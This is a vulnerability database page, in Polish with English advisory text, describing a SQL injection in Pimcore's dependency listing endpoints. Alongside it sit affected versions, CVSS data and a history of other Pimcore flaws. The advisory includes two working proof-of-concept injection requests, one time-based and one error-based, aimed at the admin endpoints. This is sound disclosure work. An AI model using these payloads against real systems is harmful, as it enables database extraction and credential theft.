Zaloguj się
Deutsch English Español Polski
Średnia

Pimcore vulnerable to SQL injection via unsanitized filter value in Dependency Dao RLIKE clause

  • Ujawniono: 24.02.2026
  • Aktualizacja: 11.10.2026 10:22

The filter query parameter in the dependency listing endpoints is JSON-decoded and the value field is concatenated directly into RLIKE clauses without sanitization or parameterized queries.

Affected code in models/Dependency/Dao.php:

  • getFilterRequiresByPath() lines 90, 95, 100
  • getFilterRequiredByPath() lines 148, 153, 158

All 6 locations use direct string concatenation like:

"AND LOWER(CONCAT(o.path, o.key)) RLIKE '".$value."'"

Note that $orderBy and $orderDirection in the same methods (lines 75-81) ARE properly whitelist-validated, but $value has zero sanitization.

Entry points (pimcore/admin-ui-classic-bundle ElementController.php):

  • GET /admin/element/get-requires-dependencies (line 654)
  • GET /admin/element/get-required-by-dependencies (line 714)

The controller JSON-decodes the filter query param and passes $filter['value'] straight to the Dao without any escaping.

PoC (time-based blind):

GET /admin/element/get-requires-dependencies?id=1&elementType=document&filter=[{"type":"string","value":"x' OR SLEEP(5)#"}]

If vulnerable, the response is delayed by ~15 seconds (SLEEP runs 3 times, once per UNION arm in the inner subquery).

PoC (error-based extraction):

GET /admin/element/get-requires-dependencies?id=1&elementType=document&filter=[{"type":"string","value":"x' OR extractvalue(1,concat(0x7e,(SELECT version())))#"}]

Returns the MySQL version string in the error response.

Requires admin authentication. An attacker with admin panel access can extract the full database including password hashes of other admin users.

Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

PlatformaPaczkaPodatne wersjePoprawka w wersji
Paczka Composer pimcore/pimcore <= 11.5.14.1, >= 12.0.0, < 12.3.3 12.3.3

Odnośniki

Ocena CVSS -
Wektor CVSS
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
Słabość (CWE)
CWE-89
Platforma
Composer
Paczka
pimcore/pimcore
Ujawniono
24.02.2026
Aktualizacja
11.10.2026 10:22

Źródła i licencje

OSV / GitHub Advisory Database - GHSA-vxg3-v4p6-f3fp - CC BY 4.0

Historia podatności: pimcore/pimcore

Wszystkie opisane podatności tej paczki (Paczka Composer), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

Wszystkie (135) w archiwum
Wszystkich wpisów
135
Pierwsza → ostatnia
12.2019 09.2026
Bez poprawki
3
Wykorzystywana w atakach
0

Rozkład istotności

  • Krytyczna 5
  • Wysoka 40
  • Średnia 90

Ujawnienia w latach

Istotność:
  1. Pimcore: SQL Injection in Custom Reports via Malicious Report Configuration
    Wysoka · 8.8 CVE-2026-55416 >= 2026.1.0, < 2026.1.6, >= 12.0.0-RC1, < 12.3.10, < 11.5.19 2026.1.6, 12.3.10, 11.5.19
  2. Pimcore Vulnerable to Remote Code Execution via DataObject Class-Definition Field Name
    Krytyczna · 9.9 CVE-2026-55634 < 12.3.10, >= 2026.1.0, < 2026.1.6 12.3.10, 2026.1.6
  3. Pimcore Hotspotimage getDataFromResource() unrestricted Serialize::unserialize over object-store column (PHP Object Injection, CWE-502)
    Krytyczna CVE-2026-55220 >= 2026.1.0, < 2026.1.6, < 12.3.10 2026.1.6, 12.3.10
  4. Pimcore: ClassDefinition UID regex missing end anchor allows SQL injection via Block.php unquoted table name
    Wysoka · 8.5 CVE-2026-55072 >= 2026.1.0, < 2026.1.5, < 12.3.9 2026.1.5, 12.3.9
  5. Pimcore CMS Twig Sandbox Bypass via SecurityPolicy checkMethodAllowed
    Wysoka · 7.2 CVE-2026-11407 >= 12.0.0-RC1, <= 12.3.8, <= 11.5.14.1 brak poprawki
  6. Pimcore Platform - SQL Injection in DataObject composite index handling during class definition import/save
    Wysoka CVE-2026-5394 >= 12.0.0-RC1, < 12.3.7, < 11.5.17, >= 2026.1.0, < 2026.1.3 12.3.7, 11.5.17, 2026.1.3
  7. Pimcore has a CustomReports Share Bypass
    Wysoka CVE-2026-45704 >= 12.0.0-RC1, < 12.3.6, < 11.5.17, >= 2026.1.0, < 2026.1.2 12.3.6, 11.5.17, 2026.1.2
  8. Pimcore: Missing Authorization in WebDAV MOVE via unchecked asset move handling
    Wysoka · 8.1 CVE-2026-45260 >= 12.0.0-RC1, < 12.3.7, >= 2026.1.0, < 2026.1.3, < 11.5.17 12.3.7, 2026.1.3, 11.5.17
  9. Pimcore has Unsafe PHP Deserialization in Multiple Locations Without allowed_classes Restriction
    Wysoka · 8.0 CVE-2026-45162 >= 12.0.0-RC1, < 12.3.7, < 11.5.17, >= 2026.1.0, < 2026.1.3 12.3.7, 11.5.17, 2026.1.3
  10. Pimcore Vulnerable to SQL Injection in Custom Reports Column Configuration
    Wysoka · 8.7 CVE-2026-44739 >= 2026.1.0, < 2026.1.2, < 11.5.17, >= 12.0.0-RC1, < 12.3.6 2026.1.2, 11.5.17, 12.3.6
  11. Pimcore vulnerable to SQL injection via unsanitized filter value in Dependency Dao RLIKE clause ten wpis
    Średnia CVE-2026-27461 <= 11.5.14.1, >= 12.0.0, < 12.3.3 12.3.3
  12. Pimcore ENV Variables and Cookie Informations are exposed in http_error_log
    Wysoka · 8.6 CVE-2026-23493 >= 12.0.0-RC1, < 12.3.1, < 11.5.14 12.3.1, 11.5.14
  13. Pimcore Has an Incomplete Patch for CVE-2023-30848
    Wysoka · 8.8 CVE-2026-23492 >= 12.0.0-RC1, < 12.3.1, < 11.5.14 12.3.1, 11.5.14
  14. Pimcore Authenticated Stored Cross-Site Scripting (XSS) Via Search Document
    Wysoka · 8.1 CVE-2024-11954 >= 11.4.2, < 11.5.3 11.5.3
  15. Pimcore includes vulnerable PHPOffice/PhpSpreadsheet
    Wysoka · 8.8 ghsa-hq76-662x-7mw4 >= 10.6.9.0, < 10.6.9.12, >= 11.1.0.0, < 11.1.6.11 10.6.9.12, 11.1.6.11
  16. Flooding Server with Thumbnail files
    Wysoka · 7.5 CVE-2024-32871 >= 11.0.0, < 11.2.4 11.2.4
  17. Pimcore SQL Injection in Admin Grid Filter API through Multiselect::getFilterConditionExt()
    Wysoka · 8.8 CVE-2023-47637 < 11.1.1 11.1.1
  18. Pimcore vulnerable to Exposure of Sensitive Information to an Unauthorized Actor
    Wysoka · 7.6 CVE-2023-3819 < 10.6.4 10.6.4
  19. Pimcore vulnerable to SQL Injection in Dataobjects sorting
    Wysoka · 7.2 CVE-2023-3820 < 10.6.4 10.6.4
  20. Pimcore SQL Injection vulnerability
    Wysoka · 7.2 CVE-2023-3673 < 10.5.24 10.5.24
  21. SQL Injection in AssetController
    Wysoka · 8.8 CVE-2023-2338 < 10.5.21 10.5.21
  22. SQL Injection in Admin Translations API
    Wysoka · 8.8 CVE-2023-30850 < 10.5.21 10.5.21
  23. SQL Injection in Translation Export API
    Wysoka · 8.8 CVE-2023-30849 < 10.5.21 10.5.21
  24. SQL Injection in Admin Search Find API
    Wysoka · 8.8 CVE-2023-30848 < 10.5.21 10.5.21
  25. Improper quoting of columns when calling methods "getByUuid" & "exists" on UUID Model
    Wysoka · 7.9 CVE-2023-28108 < 10.5.19 10.5.19
  26. SameSite Attribute vulnerability in pimCore
    Wysoka · 8.8 CVE-2023-25240 < 10.5.16 10.5.16
  27. RCE vulnerability in Pimcore/Mail & Dynamic Text Layout
    Krytyczna · 9.8 CVE-2022-39365 < 10.5.9 10.5.9
  28. Improper quoting of columns when using setOrderBy() or setGroupBy() on listing classes in Pimcore
    Wysoka · 8.1 CVE-2022-31092 < 10.4.4 10.4.4
  29. Pimcore 2FA Vulnerable to Brute Forcing
    Krytyczna · 9.8 CVE-2019-18985 < 6.2.2 6.2.2
  30. Pimcore Access Control Issues
    Krytyczna · 9.8 CVE-2019-18981 < 6.2.2 6.2.2
  31. Pimcore Discloses Usernames In Use
    Wysoka · 7.5 CVE-2019-18986 < 6.2.2 6.2.2
  32. Pimcore RCE via PHAR upload
    Wysoka · 8.8 CVE-2019-16317 < 5.7.1 5.7.1
  33. Pimcore Unrestricted Upload of File with Dangerous Type
    Wysoka · 8.8 CVE-2019-16318 < 5.7.1 5.7.1
  34. Pimcore Vulnerable to PHP Object Injection Attacks
    Wysoka CVE-2014-2921 >= 1.4.9, < 2.2.0 2.2.0
  35. Pimcore CSRF Vulnerability
    Wysoka · 8.8 CVE-2018-14057 < 5.3.0 5.3.0
  36. Pimcore Unserialize Remote Code Execution
    Wysoka · 8.8 CVE-2019-10867 < 5.7.1 5.7.1
  37. SQL Injection found in Pimcore
    Wysoka · 7.5 CVE-2022-1429 < 10.3.6 10.3.6
  38. SQL Injection in Pimcore
    Wysoka · 7.5 CVE-2022-1339 < 10.3.5 10.3.5
  39. SQL Injection in Pimcore
    Wysoka · 7.5 CVE-2022-1219 < 10.3.5 10.3.5
  40. pimcore is vulnerable to SQL Injection
    Wysoka · 8.3 CVE-2022-0258 < 10.2.9 10.2.9
Pokaż więcej (6) Widać 40 z 46

Dowiedz się, które podatności dotyczą Twojej aplikacji

Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.

Podłącz swoją aplikację
Newsletter DockRay

Bezpieczeństwo aplikacji w Twojej skrzynce

Najważniejsze podatności, konkretne zalecenia i praktyczne wskazówki dla Twoich aplikacji. Wybierz technologie i śledź to, co ma znaczenie dla Twojego projektu.

  • Codzienne zestawienie nowych podatności, także krytycznych.
  • Powiadomienia o ważnych aktualizacjach.
  • Praktyczne porady o bezpieczeństwie i monitoringu aplikacji.

Pozostaw puste, aby otrzymywać informacje o wszystkich technologiach.

Polityka prywatności

Zapis jest bezpłatny. Wypiszesz się jednym kliknięciem w wiadomości.